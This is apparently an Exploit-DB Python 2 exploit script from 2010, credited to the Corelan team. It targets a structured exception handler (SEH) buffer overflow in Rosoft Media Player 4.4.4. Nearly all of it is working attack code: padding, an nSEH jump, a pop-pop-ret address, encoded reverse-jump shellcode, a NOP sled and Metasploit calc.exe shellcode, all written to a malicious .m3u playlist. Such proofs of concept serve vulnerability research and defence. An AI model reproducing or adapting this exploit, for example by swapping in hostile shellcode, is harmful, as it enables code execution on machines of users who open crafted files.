Rosoft Media Player 4.4.4 – Local Buffer Overflow (SEH) (2)
#!/usr/bin/python # ####################################################################### # Title: Rosoft media player 4.4.4 SEH buffer overflow # Date: August 15, 2010 # Author: dijital1 # Original Advisory: http://www.exploit-db.com/exploits/14601 - abhishek lyall # Platform: Windows XP SP3 EN Professional - VMware # Greetz to: Corelan Security Team, Exploit-db, OffSec # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ####################################################################### # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print " -= Exploit for Rosoft media player 4.4.4 (SEH) - dijital1 =- " outputfile="exploit.m3u" junk="\x41"*3470 nseh="\xeb\x88\x90\x90" #reverse jump 118 bytes seh="\x49\xd4\x46\x00" # PPR - 0046D449 - Taken from the exe. The null byte terminates # the copy but because we have a big area to work with prior to # to reaching the SEH, this exploit is still possible. # The following shellcode makes use of the GetPC technique for copying EIP into ECX. # ECX is then adjusted to move execution 775 bytes earlier in the buffer. We need to # to jump back further than what a short jump will allow hence the following... # # Referenced: phrack #62 Article 7 Originally written by Aaron Adams # # msfencode -i ./768bck.bin -e x86/alpha_upper -t c # [*] x86/alpha_upper succeeded with size 107 (iteration=1) revjump=("\x89\xe7\xdb\xd7\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4e\x39\x4a\x4e\x49\x49\x43\x44" "\x51\x34\x4c\x34\x50\x59\x4b\x30\x4f\x31\x44\x4a\x4a\x30\x4b" "\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4f\x4d\x31" "\x41\x41") # NOP sled between the main payload and the reverse jump shellcode sled="\x90"*60 # msfpayload windows/exec CMD=calc.exe R | ./msfencode -e x86/alpha_upper -t c # [*] x86/alpha_upper succeeded with size 471 (iteration=1) shellcode=("\x89\xe5\xdb\xc5\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x45\x50" "\x45\x50\x45\x50\x43\x50\x4d\x59\x4b\x55\x46\x51\x49\x42\x45" "\x34\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b" "\x50\x52\x42\x34\x4c\x4b\x43\x42\x47\x58\x44\x4f\x4f\x47\x50" "\x4a\x47\x56\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c" "\x43\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44" "\x4d\x45\x51\x4f\x37\x4b\x52\x4a\x50\x51\x42\x50\x57\x4c\x4b" "\x51\x42\x44\x50\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c" "\x4b\x51\x50\x42\x58\x4d\x55\x4f\x30\x42\x54\x50\x4a\x43\x31" "\x48\x50\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x51\x48\x47" "\x50\x43\x31\x4e\x33\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34" "\x4c\x4b\x43\x31\x48\x56\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e" "\x4c\x4f\x31\x48\x4f\x44\x4d\x43\x31\x4f\x37\x46\x58\x4b\x50" "\x43\x45\x4a\x54\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47" "\x54\x42\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31" "\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45" "\x4c\x45\x51\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50" "\x4c\x49\x50\x44\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x46" "\x39\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a" "\x4c\x4b\x42\x32\x4a\x4b\x4d\x56\x51\x4d\x43\x5a\x43\x31\x4c" "\x4d\x4c\x45\x48\x39\x45\x50\x45\x50\x45\x50\x46\x30\x42\x48" "\x50\x31\x4c\x4b\x42\x4f\x4b\x37\x4b\x4f\x49\x45\x4f\x4b\x4a" "\x50\x48\x35\x4f\x52\x46\x36\x45\x38\x49\x36\x4a\x35\x4f\x4d" "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x44\x4a\x4d" "\x50\x4b\x4b\x4b\x50\x42\x55\x44\x45\x4f\x4b\x47\x37\x44\x53" "\x44\x32\x42\x4f\x42\x4a\x43\x30\x46\x33\x4b\x4f\x49\x45\x45" "\x33\x45\x31\x42\x4c\x42\x43\x46\x4e\x42\x45\x44\x38\x43\x55" "\x45\x50\x45\x5a\x41\x41") payload=junk+shellcode+sled+revjump+nseh+seh FILE = open(outputfile, "w") FILE.write(payload) FILE.close() print "\nExploit written to: " + outputfile + "\n" |